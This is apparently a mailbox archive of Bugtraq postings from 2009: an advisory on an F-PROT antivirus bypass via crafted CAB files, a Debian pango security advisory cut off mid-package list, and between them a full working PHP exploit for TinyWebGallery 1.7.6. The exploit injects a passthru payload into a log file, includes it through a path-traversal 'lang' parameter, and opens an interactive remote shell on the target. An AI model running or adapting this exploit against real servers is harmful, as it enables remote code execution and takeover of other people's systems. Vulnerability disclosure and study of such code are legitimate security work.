http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html
Affected products :
# F-PROT AVES (High: complete bypass of engine)
# F-PROT Antivirus for Windows (unknown)
# F-PROT Antivirus for Windows on Mail Servers : (High: complete bypass of engine)
# F-PROT Antivirus for Exchange (High: complete bypass of engine)
# F-PROT Antivirus for Linux x86 Mail Servers : (High: complete bypass of engine)
# F-PROT Antivirus for Linux x86 File Servers : (High: complete bypass of engine)
# F-PROT Antivirus for Solaris SPARC / Solaris x86 Mail Servers (High: complete bypass of engine)
# F-PROT Milter - for example sendmail (High: complete bypass of engine)
# F-PROT Antivirus for Linux on IBM zSeries (S/390) (High: complete bypass of engine)
# F-Prot Antivirus for Linux x86 Workstations (unknown)
OEM Partners affected :
- Autentium (all)
Command Software Systems, an Authentium company, has been developing and
selling an antivirus solution utilizing the powerful F-PROT Antivirus
engine since 1991.
OEM Partner unknown status :
- Sendmail, Inc.
- G-Data
-
I. Background
~~~~~~~~~~~~~
Quote: "FRISK Software International, established in 1993, is one of the
world's leading companies in antivirus research and product development.
FRISK Software produces the hugely popular F-Prot Antivirus products range
offering unrivalled heuristic detection capabilities. In addition to this,
the F-Prot AVES managed online e-mail security service filters away the
nuisance of spam e-mail as well as viruses, worms and other malware that
increasingly clog up inboxes and threaten data security."
II. Description
~~~~~~~~~~~~~~~
The parsing engine can be bypassed by a specially crafted and formated
CAB (Filesize) archive.
III. Impact
~~~~~~~~~~~
A general description of the impact and nature of AV Bypasses/evasions
can be read at :
http://blog.zoller.lu/2009/04/case-for-av-bypassesevasions.html
The bug results in denying the engine the possibility to inspect
code within CAB archives. There is no inspection of the content
at all and hence the impossibility to detect malicious code.
IV. Disclosure timeline
~~~~~~~~~~~~~~~~~~~~~~~~~
DD/MM/YYYY
10/04/2009 : Send proof of concept, description the terms under which
I cooperate and the planned disclosure date.
15/04/2009 : FRISK responds that they were unable to find any archive
program that is able to extract the file and that some
archive programs tested suffer from an integer overflow
extracting the file.
15/04/2009 : Inform FRISK that the sample should extract fine.
20/04/2009 : FRISK responds that they were unable to find any archive
program that is able to extract the file.
20/04/2009 : Inform FRISK that the sample should extract fine.
22/04/2009 : FRISK responds that they were unable to find any archive
program that is able to extract the file. However it will
be patched nonetheless "being low-priority, it will not be
added to the 4.4 branch. In other words, the fix will be
included in the next engine released."
22/04/2009 : Sending FRISK a slightly modified POC (same field, different
value) that extracts fine and still bypasses the engine. Ask
vendor to confirm that the new engine catches the POC.
No Reply
27/04/2009 : Resending previous mail asking to check whether the patch has
been effectively closed
No Reply
08/05/2009 : Release of this advisory.
[1]
F-prot is encouraged to leave their security contact details at
http://osvdb.org/vendor/1/Frisk%20Software%20International
to facilate communication and reduce lost reports.
From - Mon May 11 09:22:12 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078d6
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40270-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 843C6EC124
for <lists@securityspace.com>; Mon, 11 May 2009 09:14:24 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 324EC237195; Mon, 11 May 2009 07:09:38 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 4378 invoked from network); 10 May 2009 01:42:21 -0000
Date: Sat, 9 May 2009 19:42:20 -0600
Message-Id: <200905100142.n4A1gK1v002243@www5.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: travesti@travesti.in
To: bugtraq@securityfocus.com
Subject: TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
Status:
<?php
/*
-----------------------------------------------------------
TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit
-----------------------------------------------------------
author...: travesti
mail.....: travesti[at]travesti.in
link.....:
http://www.travesti.in
details..: this vulnerability drift from QuiXplorer (
http://quixplorer.sourceforge.net/)
exp link.:
http://www.travesti.in/ex.txt
This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
[-] vulnerable code in /admin/_include/init.php
110. // Get Language
111. if (isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] = $GLOBALS['__GET']["lang"];
112. elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] = $GLOBALS['__POST']["lang"];
113. else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];
114. else $GLOBALS["language"] = $GLOBALS["default_language"];
115.
[...]
138.
139. // ------------------------------------------------------------------------------
140. // Necessary files
141. require _QUIXPLORER_PATH . "/_config/conf.php";
142.
143. if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))
144. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";
145. else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))
146. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";
147. else
148. require _QUIXPLORER_PATH . "/_lang/en.php";
An attacker could be able to include arbitrary local files through the require function at line 144, due to
$_GET['lang'] parameter isn't properly sanitised. Successful exploitation requires magic_quotes_gpc = off
[-] Disclosure timeline:
[14/04/2009] - Bug discovered
[25/04/2009] - Vendor contacted
[26/04/2009] - Vendor replied
[26/04/2009] - Fix released:
http://www.tinywebgallery.com/forum/viewtopic.php?t53
[08/05/2009] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
die("\nsocket_create(): " . socket_strerror($s) . "\n");
if (socket_connect($s, $host, 80) == false)
die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");
socket_write($s, $packet, strlen($packet));
while ($m = socket_read($s, 2048)) $response .= $m;
socket_close($s);
return $response;
}
function check_target()
{
global $host, $path;
$packet = "GET {$path}info.php?showphpinfo=true HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
preg_match('/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/', http_send($host, $packet), $match);
if ($match[1] != "Off") die("\n[-] Exploit failed...magic_quotes_gpc = on\n");
}
function inject_code()
{
global $host, $path;
$code = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";
$payload = "p_user={$code}&p_pass=";
$packet = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
http_send($host, $packet);
}
print "\n+---------------------------------------------------------------------+";
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /twg/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
check_target();
inject_code();
$packet = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while (1)
{
print "\ntwg-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}
?>
From - Mon May 11 09:32:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000078d8
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40271-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id DE2FBEC13C
for <lists@securityspace.com>; Mon, 11 May 2009 09:25:47 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 9201023726A; Mon, 11 May 2009 07:09:59 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 15620 invoked from network); 10 May 2009 09:29:42 -0000
Resent-Cc: recipient list not shown: ;
Old-Return-Path: <white@debian.org>
X-Original-To: lists-debian-security-announce@liszt.debian.org
Delivered-To: lists-debian-security-announce@liszt.debian.org
X-Virus-Scanned: at lists.debian.org with policy bank moderated
X-Spam-Flag: NO
X-Spam-Score: -9.68
X-Spam-Level:
X-Spam-Status: No, score=-9.68 tagged_above=-10000 required=5.3
tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
IMPRONONCABLE_1=1, IMPRONONCABLE_2=1, LDO_WHITELIST=-5,
MURPHY_WRONG_WORD2=0.2, PGPSIGNATURE=-5] autolearn=ham
X-policyd-weight: DYN_NJABL=SKIP(0) NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 DSBL_ORG=ERR(0) CL_IP_EQ_HELO_MX=-3.1 (check from: .debian. - helo: .apu.snow-crash. - helo-domain: .snow-crash.) FROM/MX_MATCHES_NOT_HELO(DOMAIN)=0; rate: -6.1
Message-Id: <20090510092915.658DF8486D2@hannah.localdomain>
Date: Sun, 10 May 2009 19:29:15 +1000 (EST)
From: white@debian.org (Steffen Joeris)
X-Debian: PGP check passed for security officers
Subject: [SECURITY] [DSA 1798-1] New pango1.0 packages fix arbitrary code execution
Priority: urgent
Resent-Message-ID: <9XikxJ4B13D.A.HhH.B6pBKB@liszt>
Reply-To: listadmin@securityfocus.com
Mail-Followup-To: bugtraq@securityfocus.com
To: bugtraq@securityfocus.com
Resent-Date: Sun, 10 May 2009 09:29:37 +0000 (UTC)
Resent-From: list@liszt.debian.org (Mailing List Manager)
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- ------------------------------------------------------------------------
Debian Security Advisory DSA-1798-1 security@debian.org
http://www.debian.org/security/ Steffen Joeris
May 10, 2009
http://www.debian.org/security/faq
- ------------------------------------------------------------------------
Package : pango1.0
Vulnerability : integer overflow
Problem type : local (remote)
Debian-specific: no
CVE Id : CVE-2009-1194
Debian Bugs : 527474
Will Drewry discovered that pango, a system for layout and rendering of
internationalized text, is prone to an integer overflow via long
glyphstrings. This could cause the execution of arbitrary code when
displaying crafted data through an application using the pango library.
For the stable distribution (lenny), this problem has been fixed in
version 1.20.5-3+lenny1.
For the oldstable distribution (etch), this problem has been fixed in
version 1.14.8-5+etch1.
For the testing distribution (squeeze) and the unstable distribution
(sid), this problem has been fixed in version 1.24-1.
We recommend that you upgrade your pango1.0 packages.
Upgrade instructions
- --------------------
wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.
If you are using the apt-get package manager, use the line for
sources.list as given below:
apt-get update
will update the internal database
apt-get upgrade
will install corrected packages
You may use an automated update by adding the resources from the
footer to the proper configuration.
Debian GNU/Linux 4.0 alias etch
- -------------------------------
Debian (oldstable)
- ------------------
Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/p/pango1.0/pango1.0_1.14.8.orig.tar.gz
Size/MD5 checksum: 1903985 18c64e6cd7b91d04c40ef621a3d8fa4a
http://security.debian.org/pool/updates/main/p/pango1.0/pango1.0_1.14.8-5+etch1.diff.gz
Size/MD5 checksum: 26479 ed32cd0fab563f3d0446fd9ec43b2f7c
http://security.debian.org/pool/updates/main/p/pango1.0/pango1.0_1.14.8-5+etch1.dsc
Size/MD5 checksum: 1755 dc9d2d9010dc5dcc17fdf589db1a2e5e
Architecture independent packages:
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-doc_1.14.8-5+etch1_all.deb
Size/MD5 checksum: 253836 dbc3410b16ec27ddfed6dc8c1fb23daf
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-common_1.14.8-5+etch1_all.deb
Size/MD5 checksum: 6668 f10d91ab42b3eba15ef083bfb7540de5
alpha architecture (DEC Alpha)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_alpha.udeb
Size/MD5 checksum: 248652 708bd8f608c2447f8e0a82febf1e587a
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_alpha.deb
Size/MD5 checksum: 362654 22a3cea2b5598180f52caf057dba3ecd
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_alpha.deb
Size/MD5 checksum: 496650 9b68bc2d3e14db69c128b0845eaa4a85
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_alpha.deb
Size/MD5 checksum: 695224 d72beaf860b54f76008af828e71eacd0
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_amd64.deb
Size/MD5 checksum: 704936 0535ac16c732c783b55bbd0a877d8a78
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_amd64.deb
Size/MD5 checksum: 335362 3181dcff1339b37ebc22d4a65751dc99
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_amd64.deb
Size/MD5 checksum: 384990 88a73bdbf1ade11b93416eeaa47fed05
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_amd64.udeb
Size/MD5 checksum: 224702 eed5fa5149bae7cb5425af34f1ec3edc
arm architecture (ARM)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_arm.deb
Size/MD5 checksum: 662692 853a22e95710cdbc2d6466d8a57d4869
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_arm.deb
Size/MD5 checksum: 349496 dffb98f863c7d1965ceee910db8e02c7
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_arm.udeb
Size/MD5 checksum: 202936 b4574bd7f773fd4de522caf2cf9947bd
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_arm.deb
Size/MD5 checksum: 307638 31237ca7f49f47c18b8f648cd2886856
hppa architecture (HP PA RISC)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_hppa.deb
Size/MD5 checksum: 357600 f73a658e1f9e70a50ee3a84d5c5b970b
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_hppa.deb
Size/MD5 checksum: 673998 e3a17f9b99670c80d11beac2c4593aa8
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_hppa.deb
Size/MD5 checksum: 417448 c666abe6774a4207c8d0f4f6b6210c8e
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_hppa.udeb
Size/MD5 checksum: 242820 9e3c948ace44963cbc99ef43c59d8987
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_i386.deb
Size/MD5 checksum: 648360 44005bd92a8dbf3b89c8903e05690f23
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_i386.deb
Size/MD5 checksum: 344914 d41eb5702362976a8e080d5e80270343
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_i386.deb
Size/MD5 checksum: 312862 598616609baee45e6a72d8ca449737da
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_i386.udeb
Size/MD5 checksum: 209232 ed7fcd356d9a6106a6fccd11dd2e88cc
ia64 architecture (Intel ia64)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_ia64.deb
Size/MD5 checksum: 449774 9afae76eabee3f1f573fac369eac0654
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_ia64.udeb
Size/MD5 checksum: 321620 0065a16f4d0eb3654f195f5d535865b9
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_ia64.deb
Size/MD5 checksum: 678836 cf5e135e208e93263c7df7193c93eeb5
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_ia64.deb
Size/MD5 checksum: 536936 5267c4a96811174acd4771d85a7fb116
mips architecture (MIPS (Big Endian))
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_mips.deb
Size/MD5 checksum: 318318 98e84a89c8a49071ed6479ffeb6214c7
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_mips.udeb
Size/MD5 checksum: 214408 7422157343a02049b550cb4145c2cd00
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_mips.deb
Size/MD5 checksum: 420128 bd9e0436d3870a50126075b710cdbba1
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_mips.deb
Size/MD5 checksum: 711374 58a7ffd0326362a1437ead0ee154139a
mipsel architecture (MIPS (Little Endian))
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_mipsel.udeb
Size/MD5 checksum: 213738 437814c1f15aa29d6fe2ec966ae2aff2
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_mipsel.deb
Size/MD5 checksum: 317716 60fc462800646d713dcaa8bc73b280bd
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_mipsel.deb
Size/MD5 checksum: 696792 74e617a9ea1709d954f8fdda87eb71c0
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_mipsel.deb
Size/MD5 checksum: 418734 7eb2d6028f6d0be7c3fac22b5fd76ec0
powerpc architecture (PowerPC)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_powerpc.udeb
Size/MD5 checksum: 211976 95b74b4286659bfe620f6114a6a2af32
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_powerpc.deb
Size/MD5 checksum: 320364 0d64d5625b1afdfc39dff105015fc660
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_powerpc.deb
Size/MD5 checksum: 389174 275ad345fc0887eed75a88ec501945ef
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_powerpc.deb
Size/MD5 checksum: 722428 cc25bd3a8ea812c48a96a02bbb6f7a12
s390 architecture (IBM S/390)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_s390.udeb
Size/MD5 checksum: 233354 226d31c71f2bc649de586306f4b4eb98
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_s390.deb
Size/MD5 checksum: 344094 7ccb96c0123737bc8e949f14b3e6d354
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_s390.deb
Size/MD5 checksum: 377674 8d7981c3d136952adac213a1af120bfc
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_s390.deb
Size/MD5 checksum: 675636 81dd74af7faf467348982fb9af23f44a
sparc architecture (Sun SPARC/UltraSPARC)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.14.8-5+etch1_sparc.deb
Size/MD5 checksum: 358592 ac3ecb9a58f721cc2491bdcf8ad5870b
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.14.8-5+etch1_sparc.deb
Size/MD5 checksum: 638452 8d4d33b640e64a1fd2e015ba4c51b4df
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.14.8-5+etch1_sparc.udeb
Size/MD5 checksum: 203774 66d6c9576973369b38fb7eea068a52fb
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.14.8-5+etch1_sparc.deb
Size/MD5 checksum: 310068 2a9e670cf8cb32e1d033f41c05c00f6e
Debian GNU/Linux 5.0 alias lenny
- --------------------------------
Debian (stable)
- ---------------
Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/p/pango1.0/pango1.0_1.20.5.orig.tar.gz
Size/MD5 checksum: 2071747 e0fac4c2c99d903fdec3f8db60107f36
http://security.debian.org/pool/updates/main/p/pango1.0/pango1.0_1.20.5-3+lenny1.diff.gz
Size/MD5 checksum: 30003 56d02137714566e424047fb31657988b
http://security.debian.org/pool/updates/main/p/pango1.0/pango1.0_1.20.5-3+lenny1.dsc
Size/MD5 checksum: 1646 9be59b5b10f5726ad17c5e7bc18c8967
Architecture independent packages:
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-common_1.20.5-3+lenny1_all.deb
Size/MD5 checksum: 63850 54876cdcc098531aaf9ad7f97aa2de91
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-doc_1.20.5-3+lenny1_all.deb
Size/MD5 checksum: 284480 6cd0b32cfd60851b3893229e5fe6a373
alpha architecture (DEC Alpha)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_alpha.deb
Size/MD5 checksum: 331030 a4d58569c599bde2e30fc2a7482428ec
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_alpha.deb
Size/MD5 checksum: 744150 736e7468067ba3d1e256be02698c5403
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_alpha.deb
Size/MD5 checksum: 480620 ef0ff84eab89c27c2ab93747a4a406b9
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_alpha.udeb
Size/MD5 checksum: 249196 af6a3a08ec7cb5eb71e33d084b943da7
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_amd64.deb
Size/MD5 checksum: 768228 3914e2d54e064cab630410d4a1fbf119
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_amd64.deb
Size/MD5 checksum: 312762 fe888a58e2e9782977f7a1ea940f436c
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_amd64.udeb
Size/MD5 checksum: 231004 095fffcbe38078a3f60fe265a4bdcc77
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_amd64.deb
Size/MD5 checksum: 391038 be74eea47d97df6dec315ccc10bfa1a4
arm architecture (ARM)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_arm.udeb
Size/MD5 checksum: 201452 f20bcc47be666a8ab409c4a597107362
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_arm.deb
Size/MD5 checksum: 274918 cbeff689d12f39eb7a098900bb7affef
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_arm.deb
Size/MD5 checksum: 728140 ff9d48449034d9fa9a7b069fe426eb60
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_arm.deb
Size/MD5 checksum: 354160 c7a8fccc422853bf91d5362fe1c0d376
armel architecture (ARM EABI)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_armel.udeb
Size/MD5 checksum: 206886 43b24dcd892b74f54c51c3c8dda751e7
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_armel.deb
Size/MD5 checksum: 733386 16433105817fd2c12444417365e62568
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_armel.deb
Size/MD5 checksum: 285388 ddb03ffea587e4a562e2aee7458933c8
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_armel.deb
Size/MD5 checksum: 358080 ffd351bbc11bf504e073045ba09cb8fe
hppa architecture (HP PA RISC)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_hppa.deb
Size/MD5 checksum: 415344 ff958c446705b7127ca91db003f4283c
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_hppa.deb
Size/MD5 checksum: 741448 4c75ffba9f6d5feb57b62ad30f6ba716
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_hppa.udeb
Size/MD5 checksum: 237188 4331e189d89b308453ae6de33cbb20e1
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_hppa.deb
Size/MD5 checksum: 322854 a92a3ba766ff8f1a4eb080ed80e35b42
i386 architecture (Intel ia32)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_i386.deb
Size/MD5 checksum: 349380 71a9538aadd9beae278e89c4d21d0129
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_i386.deb
Size/MD5 checksum: 715402 2bd15da124e608fa0f0e72f6591cb673
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_i386.udeb
Size/MD5 checksum: 213754 ec7309bca467dd390ffc09097224d247
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_i386.deb
Size/MD5 checksum: 288284 1f4a82e4837cd653a6e38f6f5f15a0ec
ia64 architecture (Intel ia64)
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_ia64.deb
Size/MD5 checksum: 539472 72ba1dc99225f911115edacbd42072b4
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_ia64.deb
Size/MD5 checksum: 423598 c3e2ad86d402cd19954e2c1876c70f5a
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_ia64.deb
Size/MD5 checksum: 723274 dfbde260b9d60147d412e1089ef4853f
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_ia64.udeb
Size/MD5 checksum: 323228 f973337405e5c0f0adc1330e88827c63
mips architecture (MIPS (Big Endian))
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0_1.20.5-3+lenny1_mips.deb
Size/MD5 checksum: 290472 40239c39424c7706f622e1504ff17fc3
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_mips.deb
Size/MD5 checksum: 768846 a2fc1ca46e2830568a7917e3528006e7
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-udeb_1.20.5-3+lenny1_mips.udeb
Size/MD5 checksum: 216132 49d43c28e824754685def75b2e6b3467
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_mips.deb
Size/MD5 checksum: 415524 35c644367bf1507be9d5e9294e3da797
mipsel architecture (MIPS (Little Endian))
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-dev_1.20.5-3+lenny1_mipsel.deb
Size/MD5 checksum: 412848 88bdf71acb4ab37c5e08d50a7508a2c3
http://security.debian.org/pool/updates/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-3+lenny1_mipsel.deb
Size/MD5 checksum: 756686 b3b81326d4d3a58f2531ed94a1764ed5
